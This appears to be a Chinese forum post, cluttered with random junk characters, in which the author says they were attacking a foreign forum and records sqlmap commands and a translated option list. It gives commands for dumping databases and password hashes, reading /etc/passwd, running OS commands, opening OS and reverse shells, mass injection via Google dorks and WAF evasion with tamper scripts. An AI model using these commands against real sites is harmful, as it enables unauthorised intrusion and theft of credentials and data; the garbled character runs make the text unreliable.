今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、; S% {4 @9 I+ u4 r% \! x4 U9 f$ K2 x
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
) j. m( w& i( c5 |9 Jsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
0 T3 V& `3 t1 isqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
9 _2 z! G- d* D. ] ! Y# K' Z. b- E# O' z) h
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v+ N) T7 W1 [ L
0 #获取字段内容: N5 r! S8 `! p0 y5 B1 l. c9 d
5 a( h. j: W9 `2 r# {
******************信息获取******************
8 ]" j- V9 t }$ fsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
# [. i4 i; F5 F! N) Asqlmap -u “http://url/news?id=1″ –users #列数据库用户, V+ H; d( f* ^ M
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
3 ?6 J g' ^1 v1 V& ~0 psqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码 E8 r' O. H4 c
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
- y& s* o, T3 asqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”$ [2 c; H+ s" c, W- U
–start 1 –stop 20 #列出指定字段,列出20 条
& {3 x* C% c" n1 g( hsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
; s' k/ w6 @* }, ]. r0 ssqlmap -u “http://url/news?id=1″ –privileges #查看权限2 k4 A( I1 y( W- K4 W. A
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色( X: |1 W& c s: a& i
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
0 ^& e' s0 W4 Z n/ l: Dsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
: P3 g5 ?( F& T+ U! |+ A5 Dsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
% S: N9 g3 L# \; [* |, tsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
9 y8 a; n7 v" K* T5 [sqlmap -u “http://url/news?id=1″-b #获取banner信息9 ]1 X# f8 P- {) A6 G. [) G9 h2 Z
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
7 g# G$ h8 \) V3 w9 y* Qsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型+ o- a& b/ m% q1 }, g. W" d+ f
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
$ Y/ m( v9 z4 @# K$ Q& L7 }9 bsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词) w( R$ {: y3 U5 k: e D$ a
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
! a4 K U/ n. Q. Hsqlmap -u “http://url/news?id=1″ –file /etc/passwd
' V) F1 f+ P" p" F, v% tsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
- [2 G4 T& m* s# H; J3 Wsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
4 B- v0 G9 j$ u$ o8 L b1 zsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
! o4 z" X9 B5 g4 Rsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
! x6 `- p% t6 i0 d" {5 X) Usqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
5 e& T; ]" E% O3 {: w) F% K7 g: }***********高级用法*************
$ G, s0 ^5 i7 ~+ x2 e-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
1 j% J* q0 t1 H4 M/ Nsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问7 s8 i: c* H- N- a; f# b
–technique 测试指定注入类型\使用的技术
5 M L0 }) K$ O& n6 M, A不加参数默认测试所有注入技术' Z2 }, b" f/ v5 x% Q5 t
• B: 基于布尔的SQL 盲注+ i1 o, y/ S+ a* z# L3 x1 A" ]
• E: 基于显错sql 注入" _2 h2 }% f+ g$ S* O2 x
• U: 基于UNION 注入
6 }. C4 e, M* G# Q2 \# ]! } R• S: 叠层sql 注入
! V3 E, M ~/ c3 Q/ J: ?2 F• T: 基于时间盲注: L, @3 l$ R% g3 k2 j
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()- W i. L/ N. i9 V$ H, ^3 L
–tamper 插件所在目录2 s5 \/ {" s; f1 w. s6 c
\sqlmap-dev\tamper
0 v/ s. q: C' D' ksqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
; z4 ?. f6 [- V$ S- jlevel 执行测试等级 攻击实例:( }( [) E. [' b0 b& Q
Sqlmap -u “http://url/news?id=1&Submit=Submit”
1 c/ X: p; j! j3 p0 |/ K–cookie=”PHPSESSID=41aa833e6d0d
0 z$ `- q1 u* J+ L x28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user5 m6 Z* T5 p. z, o8 \2 Z! i
–password; X0 @7 X; B. Z, N) P3 s" p& Z( }
参考文档:http://sqlmap.sourceforge.net/doc/README.html
6 G8 I( [9 H- U( u***********安装最新版本*************" i9 o$ n" b4 Z I' ]
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
% h, j7 ?8 K, `! h: ?& ~2 X/ fsudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
/ R0 C9 ]& |& S+ W: l9 X安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件6 w/ w& e" L4 D0 `+ F5 a
sudo vim /home/当前用户/.bashrc$ }% N. o) {4 c! F( l. Y
#任意位置加上:# a# Z9 ~, Y+ O9 T/ ]2 ~8 Y
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效( e1 o( {8 u9 w* s+ H# E& n
如果想对所有用户有效 可设置全局 编辑下面的文件
- {: Y- |0 P# E0 ^: T/ _0 t8 [vim /etc/profile
& `5 s8 t* D7 Z% Q" F) \- ]- ~同样加上:8 r* @3 ]8 U0 A% S9 N! D5 e
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效% Y8 z9 |5 B: Y3 p# r& v* z- f
******************windows 7 (x64) sqlmap install (SVN)************
' W9 x. C9 [+ o) t5 m1 }http://www.python.org/getit/ 安装python2 K* f" M9 W* \0 ]$ I- W
http://www.sliksvn.com/en/download 安装windows svn client; S+ k' ?' J# E8 x! \
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
9 }! n. Q. J* ^+ `; p. @' E, n安装sqlmap: R) j- q2 t6 m" M
*修改环境变量
: p' Q+ r- u5 N' t+ x9 b8 z–version 显示程序的版本号并退出
( X1 L2 ?3 p* v V/ j" Y-h, –help 显示此帮助消息并退出
/ U* C9 x0 ?& j& ^9 d-v VERBOSE 详细级别:0-6(默认为1)6 e. Z+ N$ U/ y1 O: o
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
( r! O' s1 v" a9 p-d DIRECT 直接连接到数据库。
1 }; Q$ F0 ^) q! ~ w3 \-u URL, –url=URL 目标URL。 ^( O. v/ [$ g- R; _7 r4 `
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。$ J( O( O) I- A7 Z
-r REQUESTFILE 从一个文件中载入HTTP 请求。2 z4 V. a8 K) d* B; c$ p$ A" _, o% F: ^
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
% c& F3 S2 O( ?. X8 o0 G4 ~6 [. ^' |-c CONFIGFILE 从INI 配置文件中加载选项。! t" o0 K, r8 _8 b+ @- a4 }/ N
Request(请求)::$ I3 J( U7 {8 j! u
这些选项可以用来指定如何连接到目标URL。
d- M+ w: p8 i/ {" `–data=DATA 通过POST 发送的数据字符串
( i+ g6 C9 O) ?! `: x" V- v–cookie=COOKIE HTTP Cookie 头
: H' x/ ?9 r! b4 y9 @–cookie-urlencode URL 编码生成的cookie 注入
( U5 K4 N# R z1 x3 \–drop-set-cookie 忽略响应的Set –Cookie 头信息
4 ?/ O% b4 `% G1 w6 h0 }
0 r: l' f2 Y$ W3 g7 c- a; W+ f$ Z–user-agent=AGENT 指定 HTTP User –Agent 头" E, s7 m* R5 R' V0 L5 d/ k9 x
–random-agent 使用随机选定的HTTP User –Agent 头
, \1 w5 I* m% k) r5 N–referer=REFERER 指定 HTTP Referer 头
; ^, v( S5 O$ e5 Q$ O–headers=HEADERS 换行分开,加入其他的HTTP 头
9 J/ \ H6 \) l/ `3 S! u–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM): g7 |; h0 R- r1 {+ w' }
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
% i4 F- w/ g! X; R7 C–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
% W$ b9 I$ H/ r& W, v" n& @–proxy=PROXY 使用HTTP 代理连接到目标URL
. d7 a s% W/ y6 d) ~–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
1 Y8 N1 O2 A/ a; h i S$ \–ignore-proxy 忽略系统默认的HTTP 代理7 P; ~1 @: [; z
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
' a9 j; v$ _2 Y4 d–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)) y" I/ d, q6 T5 s+ O+ I5 D
–retries=RETRIES 连接超时后重新连接的时间(默认3)" @5 U0 X3 s+ k" j5 r. P
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
9 \& M& h3 g2 Z# B2 h–safe-url=SAFURL 在测试过程中经常访问的url 地址
2 ]8 I/ j+ I- \- M–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL& C" g5 f9 H! I* X5 ^( |1 d* [
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
; i G# ` M6 A* Y" R( N-o 开启所有优化开关
7 u2 u2 q& l; }7 I! w+ b! q4 x, \–predict-output 预测常见的查询输出2 n! f7 j( w5 e7 u6 W7 x# ?( s
–keep-alive 使用持久的HTTP(S)连接' R0 ]0 C E* y# \. Y$ e$ o4 ?& j
–null-connection 从没有实际的HTTP 响应体中检索页面长度& U* |# o$ T0 g) h( Q9 [& b$ e, t
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
1 `. ]0 @' Y- A/ [" w, nInjection(注入):8 R ~. I- w0 P9 t& t
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
+ J) V) u5 E/ p0 E& @-p TESTPARAMETER 可测试的参数(S)- e/ N1 A1 A. O) O9 g
–dbms=DBMS 强制后端的DBMS 为此值
0 E1 q& e7 h4 w0 A! R0 Y–os=OS 强制后端的DBMS 操作系统为这个值$ `0 |6 @5 [0 [' p6 O4 I0 R7 i2 F
–prefix=PREFIX 注入payload 字符串前缀
7 J. O* D& [' |–suffix=SUFFIX 注入 payload 字符串后缀- q! p2 g5 @4 N) ^3 R4 ^
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据4 O t# d4 a% [# n
Detection(检测):0 x+ M/ F) \ z
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
) |: ^0 b/ q) w6 L. h1 D–level=LEVEL 执行测试的等级(1-5,默认为1)- ]) P) X8 V) W0 m% p( r
–risk=RISK 执行测试的风险(0-3,默认为1)9 e n* F6 X& ?" G+ K) a
–string=STRING 查询时有效时在页面匹配字符串
; A) t3 f, P6 Y3 W7 D c! ]. l* ^–regexp=REGEXP 查询时有效时在页面匹配正则表达式- }7 m/ s: n& h' I& |1 g
–text-only 仅基于在文本内容比较网页
$ [2 f! J1 m' w* vTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。3 h% I, K5 i& o' }
–technique=TECH SQL 注入技术测试(默认BEUST)
- r5 W) N2 d: R–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
% I) p7 \" T% R3 d7 ]$ }% @ G/ ?5 A–union-cols=UCOLS 定列范围用于测试UNION 查询注入
6 y5 [0 U3 b8 n* d. \; ?, p8 s; I–union-char=UCHAR 用于暴力猜解列数的字符; k1 ^ ~! B& H, N; y
Fingerprint(指纹):
3 ]" P, X3 M4 i+ d. ~# j% i-f, –fingerprint 执行检查广泛的DBMS 版本指纹
# [% h" y1 z+ C, V9 z# U5 A0 }Enumeration(枚举):
) v6 x2 J/ d8 L) t
3 P- u; e0 J* ?9 p/ S Y这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
; b" c) e' ~" Z) `& @; @4 K- S; g-b, –banner 检索数据库管理系统的标识
1 G3 Q) U+ q1 B& i! C1 p–current-user 检索数据库管理系统当前用户/ }- h* ]: M! h4 G3 j, F
–current-db 检索数据库管理系统当前数据库& M" g7 a8 g$ p/ |. c
–is-dba 检测DBMS 当前用户是否DBA
3 O' M& f1 X7 a& |3 q( d–users 枚举数据库管理系统用户
9 O, s( } q6 V8 H6 z: I–passwords 枚举数据库管理系统用户密码哈希
1 {9 T e& o/ e3 ~* p3 q* F% M–privileges 枚举数据库管理系统用户的权限) v/ |! c4 Y; q1 V
–roles 枚举数据库管理系统用户的角色) j {: x, z' d5 {) F
–dbs 枚举数据库管理系统数据库
3 ?8 N$ @5 q7 v f* ~–tables 枚举的DBMS 数据库中的表4 ]* `9 T. D* C5 w' Z
–columns 枚举DBMS 数据库表列5 u+ Y+ ?( p7 y" t1 W( A2 ~. O
–dump 转储数据库管理系统的数据库中的表项- o0 t6 d9 S- e7 O- E; C
–dump-all 转储所有的DBMS 数据库表中的条目3 p& `& \7 k5 P$ R6 V( |2 b
–search 搜索列(S),表(S)和/或数据库名称(S)
0 P7 I) h' ~$ b' B$ |0 d/ w-D DB 要进行枚举的数据库名7 O$ @8 a, J8 F8 Y" W! B
-T TBL 要进行枚举的数据库表7 |, b6 o4 s9 O# ]. x- ^
-C COL 要进行枚举的数据库列
; o4 C5 \' C4 L" q7 `-U USER 用来进行枚举的数据库用户" k* A- v; O" W) [2 u( Z) x
–exclude-sysdbs 枚举表时排除系统数据库
: {7 R$ K- e; y f- e–start=LIMITSTART 第一个查询输出进入检索
# w E9 }* m% v* ~/ d–stop=LIMITSTOP 最后查询的输出进入检索% i4 O0 R Z S, E
–first=FIRSTCHAR 第一个查询输出字的字符检索
& m4 d9 l$ n5 a6 O5 r–last=LASTCHAR 最后查询的输出字字符检索/ W5 `" i- u' z7 T5 z3 H' V
–sql-query=QUERY 要执行的SQL 语句3 Z+ s' O2 |8 d
–sql-shell 提示交互式SQL 的shell
5 h( V0 [: F0 S" A) X, z6 BBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
& H4 J' J0 m' I+ `* y0 T6 E–common-tables 检查存在共同表
& q- |$ c* C9 h, {/ @–common-columns 检查存在共同列
/ q8 G# H o# M: V5 x! XUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。# s( T9 M+ g( ~: }0 l5 l
–udf-inject 注入用户自定义函数
O7 R+ g6 P1 W1 o! b/ D–shared-lib=SHLIB 共享库的本地路径
9 X; o( R3 I( l' S( GFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。) D* @0 t( F% |4 N& g/ K$ ?
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件" x2 ?2 C% e# `8 g- r% z
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件0 n6 K+ k0 f& R) R+ Y0 \1 U: F
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 T, j3 |6 C0 ~8 \: v) ]- q
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。8 V _; P9 P5 i% G g6 g
–os-cmd=OSCMD 执行操作系统命令6 x! _, J9 _( @/ c* ]
–os-shell 交互式的操作系统的shell% m1 D+ n5 p* v. d7 u6 _- E
–os-pwn 获取一个OOB shell,meterpreter 或VNC- Y, e/ }; [) W. q
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC4 M7 i* s1 k5 B9 w
–os-bof 存储过程缓冲区溢出利用8 E) H- ?; C0 N3 j4 ^
–priv-esc 数据库进程用户权限提升* b/ N" I7 e) ] f/ u
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
; s3 O4 p0 S: V4 a! t; X–tmp-path=TMPPATH 远程临时文件目录的绝对路径4 K# p4 n8 o+ e8 l4 y
0 F$ j( C" y6 w+ @6 G' f1 D TWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
) C- _9 p! X" e$ m6 G–reg-read 读一个Windows 注册表项值' d) c: N |" `
–reg-add 写一个Windows 注册表项值数据
" O- d+ \ v! u* a–reg-del 删除Windows 注册表键值: Q- o, w) h+ q( g/ j% `- A
–reg-key=REGKEY Windows 注册表键
9 i/ r" ]- X4 G) B1 B–reg-value=REGVAL Windows 注册表项值
$ [' `7 h6 K0 n3 s8 H–reg-data=REGDATA Windows 注册表键值数据8 k7 M8 o- s9 x) V5 I/ O
–reg-type=REGTYPE Windows 注册表项值类型
$ g9 `: o6 M& L0 U1 L. h# }8 v yGeneral(一般): 这些选项可以用来设置一些一般的工作参数。, _' y! o9 D1 J$ k
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
3 W3 }: p6 T0 {# f8 A- D-s SESSIONFILE 保存和恢复检索会话文件的所有数据6 A$ z8 s d- O6 j8 [
–flush-session 刷新当前目标的会话文件
8 Q& _& \3 p$ u$ I# U p–fresh-queries 忽略在会话文件中存储的查询结果6 d; r0 F$ T$ J* k
–eta 显示每个输出的预计到达时间3 D7 E9 C) v" d0 {
–update 更新SqlMap8 X) |( y7 ~' s% r3 c
–save file 保存选项到INI 配置文件
' s0 G3 n$ v' I; f4 X–batch 从不询问用户输入,使用所有默认配置。
0 W1 s' c! f4 V" [Miscellaneous(杂项):
# [7 ~9 b- a$ @* r–beep 发现SQL 注入时提醒' F y' q2 ?* g( r1 ~
–check-payload IDS 对注入payloads 的检测测试- f, n, x4 m( T6 ]) d+ p0 B$ F
–cleanup SqlMap 具体的UDF 和表清理DBMS
4 D! G! a% M- i- S2 U9 Y–forms 对目标URL 的解析和测试形式1 K) @% E0 m/ N: S/ Y! z; J$ K
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
/ N# x* ?: g8 Y2 A* h, X0 s–page-rank Google dork 结果显示网页排名(PR)3 n) @, D$ o& J% r" h4 o- z
–parse-errors 从响应页面解析数据库管理系统的错误消息
! q9 z5 m8 R8 K! E! K3 ?–replicate 复制转储的数据到一个sqlite3 数据库
0 n! l1 q% w4 m4 \: R/ _9 X–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
; s1 `. g' Q9 B. v$ w. [, A–wizard 给初级用户的简单向导界面 |